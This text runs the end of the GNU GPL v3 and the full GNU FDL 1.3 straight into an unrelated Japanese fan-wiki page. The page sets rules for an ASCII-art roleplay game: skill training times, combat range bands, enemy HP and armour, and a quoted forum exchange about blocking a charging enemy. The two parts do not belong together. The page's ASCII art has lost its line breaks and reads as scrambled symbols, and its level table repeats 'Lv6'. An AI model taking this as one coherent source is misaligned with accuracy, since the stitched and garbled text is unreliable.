but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, “control” includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor s essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a “patent license” is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To “grant” such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. “Knowingly relying” means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient s use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is “discriminatory” if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License “or any later version” applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy s public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the “copyright” line and a pointer to where the full notice is found. Copyright (C) This program is free software you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode Copyright (C) 2005 kiniro roushi This program comes with ABSOLUTELY NO WARRANTY; for details type `show w . This is free software, and you are welcome to redistribute it under certain conditions; type `show c for details. The hypothetical commands `show w and `show c should show the appropriate parts of the General Public License. Of course, your program s commands might be different; for a GUI interface, you would use an “about box”. You should also get your employer (if you work as a programmer) or school, if any, to sign a “copyright disclaimer” for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . --- GNU Free Documentation License Version 1.3, 3 November 2008 Copyright © 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. 0. PREAMBLE The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others. This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software. We have designed this License in order to use it for manuals for free software, because free software needs free documentation a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference. 1. APPLICABILITY AND DEFINITIONS This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law. A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language. A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document s overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them. The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none. The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words. A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque". Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only. The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work s title, preceding the beginning of the body of the text. The "publisher" means any person or entity that distributes copies of the Document to the public. A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition. The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License. 2. VERBATIM COPYING You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3. You may also lend copies, under the same conditions stated above, and you may publicly display copies. 3. COPYING IN QUANTITY If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document s license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects. If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages. If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public. It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document. 4. MODIFICATIONS You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission. B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement. C. State on the Title page the name of the publisher of the Modified Version, as the publisher. D. Preserve all the copyright notices of the Document. E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices. F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below. G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document s license notice. H. Include an unaltered copy of this License. I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence. J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission. K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein. L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles. M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version. N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section. O. Preserve any Warranty Disclaimers. If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version s license notice. These titles must be distinct from any other section titles. You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties—for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard. You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one. The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version. 5. COMBINING DOCUMENTS You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers. The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work. In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements". 6. COLLECTIONS OF DOCUMENTS You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects. You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document. 7. AGGREGATION WITH INDEPENDENT WORKS A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation s users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document. If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document s Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate. 8. TRANSLATION Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail. If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title. 9. TERMINATION You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License. However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it. 10. FUTURE REVISIONS OF THIS LICENSE The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http //www.gnu.org/copyleft/. Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy s public statement of acceptance of a version permanently authorizes you to choose that version for the Document. 11. RELICENSING "Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site. "CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization. "Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document. An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008. The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing. ADDENDUM How to use this License for your documents To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page Copyright (C) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License". If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with … Texts." line with this with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation. If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
https://w.atwiki.jp/sazae_yaruo/pages/24.html
教育関連 戦闘関連防御スキルについて 教育関連 ______、 .| __/ .. r .i .. 、 .. .. ..l .ヽ|;;\ r !/ .. ン jl .|ミ .. / ..l .. .. i ...ll;;;;;;;;l .|/;;;;| ィ テ汞l |/ ..斗 .. / ..!;;;;/ l \/.! k ソ l | テリ| ./ ./;;/ ! 」 ─' !ヘソ/ ./;;/ 教育について(ネームド/モブ共通、できる子除く) ! /;;| 、、、 __ ' ハ/;;/ !ヽ `ヽ;;ヽ_ ハ|;;;;ヽ | 1、教官は Lv3以上必須 (仲間にいなければ雇え、費用は日本の物価で考えろ) ヽ ` ゝ ―‐ ′;;;;|;;;;;;;ヽ 2、Lv1に1か月__ヽ `l;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;/ 3、Lv2に+3か月(累計4か月) `ヽ i |;;;;;;;;;;;;;;;;;;;;;;;;;;;;/ 4、Lv3に+6か月(累計10か月) ヽj ヽ;;;;;;;;;;;;;;;;;;;;;厶 5、Lv4に+12か月(累計22か月) ⇒教官+受講者の給料と時間を払えばOK ⇒ただし、適正カリキュラムが組まれていないと必要期間倍。 LV1のカリキュラム作成にはLv1の教育スキルが必要、LV2、LV3、以下同文。 Lv3以上は才能が無いと必要期間3倍 ⇒モブはLV2までと考えてください、めんどいので。できる子・1日経験1取得・効果的な訓練ならボーナス経験ありLV1 =経験5LV2 =経験20LV3 =経験50LV4 =経験100(以下同文)才能があるかどうか?モブはない。ネームドは、AA見てみんなで決めろ。<教育関係まとめ> l / / , ', ! ///イ / / / / l ! 、 ', | // | l ! / / / ,イ ノ ,イ / ,/ ノ | ! // | | | ,l / / ´ ̄/フイ''''ー‐/// // / ! ! /,ィ' レ',´l/ l' 'l /, -,'ー‐く"'' / /ーレ! / / / | | ( il、 l | /, ´ / 。/ / ,イ 7゛/ ,イ / | ヽ、ゝヽ ! レ ゝ /_ // l{ ;' / / レ' ノ ゝ‐' V ` ̄ ヽ. |// /\ イ ´/ /\_`>/. i! \ -ニア/ /.. / `ヽ, _ , ' /ー/ / `ー‐'´ { ̄ \ / /. . . . . . ヽ、 / .\ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ・・・・・つまり、どういうことだってばよ?! 1、でき子教官(家事LV3)が1か月指導すれば、モブ生徒は(家事Lv1)を覚える。その間他の仕事はできない。 これでバイトができる。他のスキルは他のLV3キャラに頼め。 2、実戦に出したいとか、就職させたいとかなら、LV2要るから、さらに3か月教育しな! 3、教育期間中は教官と生徒の給料払えよ? 1人2000~5000D見とけ。 ※教育カリキュラムはぱっちぇが残業して作ってくれるから、あとでお礼いっとけ 教官一人が一度に教育できる上限とかは ⇒4~50人程度を目安に、今の規模ならない。 *問題が出たら言う。 レベルUPの必要経験値について ⇒Lv1.5 Lv2.20 Lv3.50 Lv4.100 Lv6.250 Lv6.500 2スレ目#6650 戦闘関連 戦闘マップのスケール>かみさま ⇒決めると ドツボにはいるから、遠距離、近距離、でごまかすよ ~戦闘マップ~―――<遠距離>―――――――――――――――――――――――敵 : 戦車級A 兵士級 A、B、C味方 :―――<遠距離>――――――――――――――――――――――――――<中距離>――――――――――――――――――――――― B E敵 : T A味方 : 探 知―――<中距離>――――――――――――――――――――――― 距―――<短距離>――――――――――――――――――――――― 離 ↓敵 :味方 :―――<短距離>――――――――――――――――――――――――――<ゼロ距離>――――――――――――――――――――――敵 :味方前衛 : リュウ、シキ、レヴィ味方後衛 : できる子、両津、ウィル子、パチュリー―――<ゼロ距離>―――――――――――――――――――――― 車の走行性能 ⇒浮上してても不整地は比較的速度でないよ。数十cm浮いてるだけ、飛行じゃないからね。 (イメージしずらいので、普通の車高) ……飛行してると光線級がでてくるから、わざと飛行しないよ! 戦車級に捕捉されたら逃げるので精一杯。 2スレ目#2356 回避について ⇒敏捷とか格闘スキルもちだけ。でトリップ判定する。 回避の可能性があるのは、リュウ、シキ、でき子だけ。 2スレ目#966 パワードスーツを格闘戦でペナなしで戦うのに専用スキルとかいりますか? ⇒パワードスーツは、モーショントレースついてるから、生身感覚で。 2スレ目#6504 攻撃の威力について ⇒兵士級(装甲低、HP3)が小3発か、中1発 戦車級(装甲低、HP9)が小9発か、中3発か、大1発 要撃級(装甲中、HP18)が、大2発、中6発 2スレ目#1740 2スレ目#8936 HPは小攻撃相当数で表記 中攻撃は小攻撃3発分 大攻撃は小攻撃9発分に相当 装甲は閾値以下のダメージを無効化するだけで、ダメージ軽減効果はない 魔法の溜め撃ちって3、9以外でも出来るの? ⇒MPがあればできるよ。 3スレ目#1234 防御スキルについて 2スレ目#6495 6495 名前:松田 ◆5wbYUif2XM[] 投稿日:2013/05/04(土) 07 09 42 ID Tu9UqR960 [1/13] 6490 6488 突撃級は射程が(短)でブロッキングは射程が(0) これが問題で、遠距離からの魔法撃破以外だと死者なしに倒す方法がなかなか思い浮かばない ___ .. i\``ヽ、.,/ `i____ --‐‐'ヽ・ヽ . i .;; ...i;; ..i-〟 __`ヽ、.・\、..;i´ `ヽ..i;; .!;/ ヾ、;;;; ,ヽ¨ `.i.... .;;;;.!i;; ! ... ./-,く";;;; `.、 .i..... ;;; ..l; ! ゝ、 1、突撃級が(距離:短)から突撃してきます。 . 〈〟/‐ヽ;;;;;;;! .iヽヾ.....;;;;i/ ヽ _i . l;;/;; /ヽ、;`、ヾ_ヽ ;;;/ヽ、 i .. "'i;;...i´ `‐ゝ .`y′ "" ,、ハ从 jvヘ,、 r一… ¬ 、!トミ )ヘ }i /し;ィ \ ( ┌‐-、 _jJミ`丶ゝトヘノ∨Vて.ィ__ \ 丶、 | ! 水Z二≧ミー、ゝ X‐く冫‐ァ仏ィ  ̄` 、 ー- ..__j___j_ トMi ´,j癶こフ¨了;介f^ヾヾミミY"にフr__ `丶、___,,_ ` ト、_jL!Wし1 厂二ニヽハ! '^゙マ!;イハl ハiい{、≧ーマ乙 r=ミミoヽ} i{L_h { / /r;{ヽ, 〝フメjy}八!、、ゞヘニ=ミ- _,. -≧ニ≦ミドヘ) ヾ'^y,'二フ ^ー\ィ^ー__,,.ィ〝'ヘi);ィノヾこ> _,. -‐ ' "  ̄ " '' ー;ァ'"_,ニ" ̄-三 =ミヽゝヘ.〈 {!'´ ! ノ,へ广で下,`ー-、ニ⇒ミ公-` __,. _ -‐=≦≦ニニ≧=≡ニ二三ミy',"≠´ _;=一''" ̄  ̄≧ミヘ い vリ ( ム )彡ミ`¨^メ; ぅシrァ7八ヽ、 ,,=彳__,ニ===--ミ ` ¨ ´ _`⌒⌒Y拜≡'´ ,,r=ァァ -‐≠' ,=ミソrベ,! 汽ミ、⌒'′ ,ィ/彳 〃z'_ン/√)‐1 ,,=彳‐彡'´ 、、、 ミヾミ`ヽv=‐=ァ-yァァ`7爪伐辷彡タ竺=‐≠≡=ハ ノヾ.彡ヘ! ヽ.\ 〃へ} j ノ(_,.ィi介ミー-イ 2、(距離:0)になったらr彳 vヤ斧父` ゛ ミヽ、 )》ヾキfテ´'フフ丿 ;ハ込ミ三二≡≡=;气ニ7⌒ く/;ゝ、r'ヘ([_〉` ン"ノ ノ ,. イリ i|NくN | 八__jノヘし ぶつかるので、受けます。|ハ‐yぐ⌒゙`゙ミゝ、 `ヾV}}゙ヾV斗彡'彡ジ'¨) ベミ≧≡===≡≦ヾ´;/ く r'ヘヽー'ノ ,、),斗-='彡シ;1′iljハ}ヾil ピ人ハ,.ィチlハヾ! 、`ヽi{{ト、`ヾ、 {{Nハ{ ,ゞキ≦fr≦- ←'" ̄`゙ヾ≡=-ミ、 rr‐、ヽ ,.ベー;ノ く ´ `ヽF=≦彡;1′ilイ} { il !`ヽ'YiしJ!{ゞゝヘ \ ヾ{{{ト、 ヾゞミ辷キミ'火辷ー---‐彡')>≫ミミミヾ、_ ヾー'^ゞく '"ノX '´ " ,ハ `)(/ ;1' j/il|} i{ j| ハ. トWハh__ヾミ≧xゝ、丶 `丶ミヽ、 丶`ヾミゞミミ≧‐===´==彡彡シシニ≧‐ミ三ゞr'ヘノX´ " / }v'/ ;1;ilil;ハl|}.ハf'!j} }} }{(_、`乙_ ヾミ≧=ミwx、 `ヾミヽ、,.ゞ‐.ニ=ゞ=辷竺三二ニ=彡'il{⌒ヾ≦三≧(ヾノ " ,.イ ,バ ノノll;イヾミ、ヾィ7 // 〃〃亥^弋⌒ Vミミ、 ヾ℡x、 // ̄ ̄ >`''<二=彳爪iゞミミミヘミ竺找´ Y´ ,. ´//{ / iK_/{ム{f'r㍉シ j,' 〃 /c'ニゞ+rヘ ∨`ヾ、 ヾ㏍№xァ'// / ,. -‐…→ iハハ)ヾミミミミミ≧]]ソ ノハ _´_ノ/ /ノ) )X⌒゛v__;リ 〃 〃 广ア´iハ}!ハい6496 名前:松田 ◆5wbYUif2XM[] 投稿日:2013/05/04(土) 07 14 23 ID Tu9UqR960 [2/13] __/l /l rく_/ |7 l`ヽ ___/ く_ノ⌒lノ /〕L/ ̄ `ヽ イr―〈 ガッ!! -Just Defended!!- ヽてノハハハルイ ┐ \ lハノ==トヘKpリ/ ∠、 ガッ!! -Just Defended!!- `Yー气 l / / ⌒ヾ 人わ//=} /〃 ) ガッ!! -Just Defended!!- _ -―<ヾ 「ヽノ 〔ト{ `Y´} _fて___ノl 3、 1ターンの間ウメハラブロックします。 / \ ` \___`ト、__厂ー「l | -=/ ト、\ 、\ \ト、 )く{L. L l L从___ン |ン く \、 >‐<__/r┘トヽ `ー==z=' - __ 〉|N ー‐/ | |ーzj | l =ニニ二_`ヽ、 L| \-= | | | )}ー-=ミ_ `ー‐ 、. Lrヘ l 」 「 | | {/ `ヾ、  ̄ ー==ニ\__. ノ--、 | l´ `¨ー‐<_ __L`ヽ / _)  ̄/´ ハ fctttL/ しJJJJ γs) 匚| ι∫ (( γ⌒ヽ (ミ h=πヲ νへノ八へ、 ( ( ξ))9 4、 真空竜巻旋風脚につながったらカッコいいけど、 | | ヽ( )コ ト-、_人_イ_) タメ時間がないので波動拳で我慢します。 